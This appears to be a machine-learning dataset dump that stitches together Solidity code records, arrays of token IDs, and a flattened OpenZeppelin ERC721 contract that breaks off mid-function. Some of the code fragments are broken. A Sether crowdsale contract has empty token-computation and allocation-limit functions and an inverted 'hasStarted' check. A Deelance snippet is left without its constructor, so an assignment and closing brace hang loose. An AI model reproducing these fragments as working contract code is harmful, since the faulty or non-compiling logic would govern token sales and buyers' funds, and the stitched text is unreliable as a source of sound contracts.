endTime = limitDateCrowdWeek3 + CROWD_WEEK4_PERIOD;
}
function finalization() internal {
super.finalization();
uint256 ownerShareTokens = token.getTotalSupply().mul(9).div(11);
token.mint(wallet, ownerShareTokens);
}
} | * @title SetherBaseCrowdsale @dev SetherBaseCrowdsale is a base contract for managing a sether token crowdsale./ The token being sold start and end timestamps where investments are allowed (both inclusive) address where funds are collected how many finney per token amount of raised money in wei | contract SetherBaseCrowdsale {
using SafeMath for uint256;
SetherToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event SethTokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function SetherBaseCrowdsale(uint256 _rate, address _wallet) {
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
rate = _rate;
wallet = _wallet;
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = computeTokens(weiAmount);
require(isWithinTokenAllocLimit(tokens));
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
SethTokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function hasEnded() public constant returns (bool) {
return now > endTime;
}
function hasStarted() public constant returns (bool) {
return now < startTime;
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function computeTokens(uint256 weiAmount) internal returns (uint256) {
}
function isWithinTokenAllocLimit(uint256 _tokens) internal returns (bool) {
}
function createTokenContract() internal returns (SetherToken) {
return new SetherToken();
}
}
| 1,013,912 | [
1,
55,
2437,
2171,
39,
492,
2377,
5349,
225,
348,
2437,
2171,
39,
492,
2377,
5349,
353,
279,
1026,
6835,
364,
30632,
279,
444,
1614,
1147,
276,
492,
2377,
5349,
18,
19,
1021,
1147,
3832,
272,
1673,
787,
471,
679,
11267,
1625,
2198,
395,
1346,
854,
2935,
261,
18237,
13562,
13,
1758,
1625,
284,
19156,
854,
12230,
3661,
4906,
574,
82,
402,
1534,
1147,
3844,
434,
11531,
15601,
316,
732,
77,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
348,
2437,
2171,
39,
492,
2377,
5349,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
348,
2437,
1345,
1071,
1147,
31,
203,
203,
565,
2254,
5034,
1071,
8657,
31,
203,
565,
2254,
5034,
1071,
13859,
31,
203,
203,
565,
1758,
1071,
9230,
31,
203,
203,
565,
2254,
5034,
1071,
4993,
31,
203,
203,
565,
2254,
5034,
1071,
732,
77,
12649,
5918,
31,
203,
203,
565,
871,
348,
546,
1345,
23164,
12,
2867,
8808,
5405,
343,
14558,
16,
1758,
8808,
27641,
74,
14463,
814,
16,
2254,
5034,
460,
16,
2254,
5034,
3844,
1769,
203,
203,
565,
445,
348,
2437,
2171,
39,
492,
2377,
5349,
12,
11890,
5034,
389,
5141,
16,
1758,
389,
19177,
13,
288,
203,
3639,
2583,
24899,
5141,
405,
374,
1769,
203,
3639,
2583,
24899,
19177,
480,
1758,
12,
20,
10019,
203,
203,
3639,
1147,
273,
752,
1345,
8924,
5621,
203,
3639,
4993,
273,
389,
5141,
31,
203,
3639,
9230,
273,
389,
19177,
31,
203,
565,
289,
203,
203,
565,
445,
1832,
8843,
429,
288,
203,
3639,
30143,
5157,
12,
3576,
18,
15330,
1769,
203,
565,
289,
203,
203,
565,
445,
30143,
5157,
12,
2867,
27641,
74,
14463,
814,
13,
1071,
8843,
429,
288,
203,
3639,
2583,
12,
70,
4009,
74,
14463,
814,
480,
1758,
12,
20,
10019,
203,
3639,
2583,
12,
877,
23164,
10663,
203,
203,
3639,
2254,
5034,
732,
77,
6275,
273,
1234,
18,
1132,
31,
203,
203,
3639,
2254,
5034,
2430,
273,
3671,
5157,
12,
1814,
77,
6275,
1769,
203,
203,
3639,
2583,
12,
2
] |
./partial_match/1/0x490Fa9Dc69D05e754EE8a9615cb7ad781A51cB36/sources/DeelanceMembershipcards.sol | Initialize the ERC20 token contract | contract DeelanceMembershipcards is ERC1155, Ownable, Pausable, ERC1155Supply {
IERC20 public erc20Token;
erc20Token = IERC20(_erc20TokenAddress);
}
| 15,579,242 | [
1,
7520,
326,
4232,
39,
3462,
1147,
6835,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
1505,
292,
1359,
13447,
3327,
87,
353,
4232,
39,
2499,
2539,
16,
14223,
6914,
16,
21800,
16665,
16,
4232,
39,
2499,
2539,
3088,
1283,
288,
203,
565,
467,
654,
39,
3462,
1071,
6445,
71,
3462,
1345,
31,
203,
203,
3639,
6445,
71,
3462,
1345,
273,
467,
654,
39,
3462,
24899,
12610,
3462,
1345,
1887,
1769,
203,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2022-03-04
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
